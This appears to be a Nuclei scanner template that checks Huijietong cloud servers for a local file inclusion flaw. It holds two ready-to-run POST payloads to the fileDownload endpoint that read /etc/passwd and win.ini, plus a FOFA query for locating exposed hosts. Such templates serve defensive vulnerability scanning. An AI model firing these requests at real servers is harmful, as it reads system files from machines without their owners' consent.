id: huijietong-cloud-fileread info: name: Huijietong - Local File Inclusion author: princechaddha,ritikchaddha severity: high description: Huijietong is vulnerable to local file inclusion. metadata: max-request: 2 fofa-query: body="/him/api/rest/v1.0/node/role" tags: huijietong,lfi http: - method: POST path: - "{{BaseURL}}/fileDownload?action=downloadBackupFile" body: 'fullPath=/etc/passwd' - method: POST path: - "{{BaseURL}}/fileDownload?action=downloadBackupFile" body: 'fullPath=/Windows/win.ini' matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - "\\[(font|extension|file)s\\]" condition: or - type: status status: - 200 # digest: 4a0a00473045022100cc007c4c1b86b350cb3a8e9436c41fb8531686862c80655c7f082156e16e19b002202c4217904bdf698646fb0fd53c3ca1978fb9c6763d5d3b0d46ff1c8c17b1ebcc:922c64590222798bb761d5b6d8e72950